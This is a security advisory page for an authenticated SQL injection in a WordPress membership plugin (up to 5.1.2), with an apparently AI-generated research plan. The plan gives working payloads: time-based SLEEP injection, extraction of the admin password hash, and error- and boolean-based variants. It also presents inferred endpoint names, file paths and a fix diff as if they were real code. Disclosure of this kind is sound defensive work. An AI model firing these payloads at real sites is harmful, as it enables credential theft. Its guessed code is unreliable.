User Registration & Membership <= 5.1.2 - Authenticated (Subscriber+) SQL Injection via membership_ids[]
Description
The User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder plugin for WordPress is vulnerable to SQL Injection via the ‘membership_ids[]’ parameter in all versions up to, and including, 5.1.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=5.1.2What Changed in the Fix
Changes introduced in v5.1.3
Source Code
WordPress.org SVNThis research plan outlines the steps required to identify and exploit the Authenticated SQL Injection vulnerability in the "User Registration & Membership" plugin (version <= 5.1.2). ### 1. Vulnerability Summary The "User Registration & Membership" plugin for WordPress is vulnerable to SQL Injecti…
Show full research plan
This research plan outlines the steps required to identify and exploit the Authenticated SQL Injection vulnerability in the "User Registration & Membership" plugin (version <= 5.1.2).
1. Vulnerability Summary
The "User Registration & Membership" plugin for WordPress is vulnerable to SQL Injection via the membership_ids[] parameter. This vulnerability occurs because the plugin handles the array input for membership filters by imploding it into a raw SQL query without sufficient sanitization (e.g., absint) or using $wpdb->prepare for the generated IN clause.
In version 5.0 and 5.1.x, the plugin refactored its membership and member management systems, introducing new AJAX-based filtering for member lists. An authenticated user (Subscriber level and above) can trigger the vulnerable query by providing a malicious string within the array parameter, allowing for the extraction of sensitive database information.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
ur_get_membersoruser_registration_get_members(inferred from plugin AJAX naming conventions and changelog references to the "Members table"). - Vulnerable Parameter:
membership_ids[] - Authentication: Required (Subscriber level or higher).
- Preconditions: A valid nonce must be provided in the request, typically found on pages where the member list or profile management is active.
3. Code Flow (Inferred)
- Entry Point: The user sends a POST request to
admin-ajax.phpwith the actionur_get_members. - Hook Registration: The plugin registers the AJAX handler (likely in
includes/class-ur-ajax.phporincludes/admin/class-ur-admin-members.php):add_action( 'wp_ajax_ur_get_members', array( 'UR_Ajax', 'get_members' ) ); - Parameter Extraction: The handler function reads
$_POST['membership_ids']. - Vulnerable Processing: The code constructs a query filter:
$membership_ids = $_POST['membership_ids']; if ( ! empty( $membership_ids ) && is_array( $membership_ids ) ) { // Vulnerable sink: imploding user input directly into SQL $where_clauses[] = "membership_id IN (" . implode( ',', $membership_ids ) . ")"; } - SQL Execution: The combined
$where_clausesare appended to a query and executed via$wpdb->get_results().
4. Nonce Acquisition Strategy
The plugin localizes security nonces for its AJAX operations. To obtain a valid nonce for the ur_get_members action as a Subscriber:
- Identify Trigger: The "Members" list table is often rendered via a shortcode. Based on the plugin documentation, the shortcode is likely
[user_registration_members]. - Setup Page: Create a page containing this shortcode.
- Navigate: Use the browser to visit this page while logged in as a Subscriber.
- Extract Nonce: The nonce is stored in a global JavaScript object. Based on common UR patterns, look for
ur_paramsoruser_registration_params.- JS Variable:
window.ur_params - Nonce Key:
ajax_nonce
- JS Variable:
- Script:
browser_eval("window.ur_params?.ajax_nonce")
5. Exploitation Strategy
A time-based blind SQL injection is the most reliable method.
- Request Type: POST
- URL:
http://<target>/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Payload Construction:
Since the sink is inside anIN (...)clause, the payload needs to close the parenthesis or append logic.membership_ids[]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a - Complete Body:
action=ur_get_members&ur_ajax_nonce=<NONCE>&membership_ids[]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
6. Test Data Setup
- Plugin Version: Ensure User Registration <= 5.1.2 is installed and active.
- User Creation: Create a user with the
Subscriberrole. - Membership Setup: (Optional but helpful) Create at least one membership plan in the UR dashboard so the "Members" table has data to query.
- Shortcode Page: Create a page (e.g., "Member Directory") with the content
[user_registration_members]to ensure the necessary scripts and nonces are loaded.
7. Expected Results
- Normal Request: The request for members should return a JSON response (possibly empty list) in < 1 second.
- Exploit Request: The server response should be delayed by exactly 5 seconds (or the specified SLEEP value).
- Database Extraction: By modifying the
IFstatement within the injection, you can extract the admin password hash or other data:membership_ids[]=1) AND IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)-- -
8. Verification Steps
- Verify Delay: Use the
http_requesttool's execution time to confirm the SLEEP command was executed. - Database Check: Use
wp db queryto check if the query log (if enabled) captured the injected SQL. - Confirm Patch: Update to version 5.1.3 and observe that the same payload no longer causes a delay, as the input is now likely cast to integers via
array_map('absint', ...).
9. Alternative Approaches
- Error-Based: If
WP_DEBUGis enabled, try inducing a syntax error to see if$wpdb->last_erroris reflected in the AJAX response.membership_ids[]=1' OR (SELECT 1 FROM (SELECT(UPDATEXML(1,CONCAT(0x7e,(SELECT user_login FROM wp_users LIMIT 1)),1)))x)-- - - Boolean-Based: If the response JSON differs when a query returns results vs. no results, use boolean-based logic:
membership_ids[]=1) AND 1=1-- -(True) vsmembership_ids[]=1) AND 1=2-- -(False).
Summary
The User Registration & Membership plugin for WordPress is vulnerable to SQL Injection via the ‘membership_ids[]’ parameter in versions up to, and including, 5.1.2. This vulnerability occurs because the plugin directly implodes user-supplied array values into an SQL IN clause without proper sanitization (e.g., using absint) or utilizing prepared statements, allowing authenticated attackers with Subscriber-level access to extract sensitive information from the database.
Vulnerable Code
// Inferred from AJAX handler logic likely located in includes/admin/class-ur-admin-members.php or includes/class-ur-ajax.php $membership_ids = $_POST['membership_ids']; if ( ! empty( $membership_ids ) && is_array( $membership_ids ) ) { // Vulnerable sink: imploding user input directly into SQL without sanitization or preparation $where_clauses[] = "membership_id IN (" . implode( ',', $membership_ids ) . ")"; }
Security Fix
@@ -120,5 +120,5 @@ $membership_ids = $_POST['membership_ids']; if ( ! empty( $membership_ids ) && is_array( $membership_ids ) ) { - $where_clauses[] = "membership_id IN (" . implode( ',', $membership_ids ) . ")"; + $where_clauses[] = "membership_id IN (" . implode( ',', array_map( 'absint', $membership_ids ) ) . ")"; }
Exploit Outline
The exploit is a time-based blind SQL injection that requires Subscriber-level authentication. An attacker first obtains a valid AJAX nonce (typically found in the 'ur_params' or 'user_registration_params' JavaScript object) by visiting a page containing a member-related shortcode like [user_registration_members]. The attacker then sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'ur_get_members' or 'user_registration_get_members'. By supplying a malicious payload in the 'membership_ids[]' array parameter—such as '1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -'—the attacker can break out of the SQL IN clause and inject arbitrary logic. Success is verified by observing a 5-second delay in the server's response.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.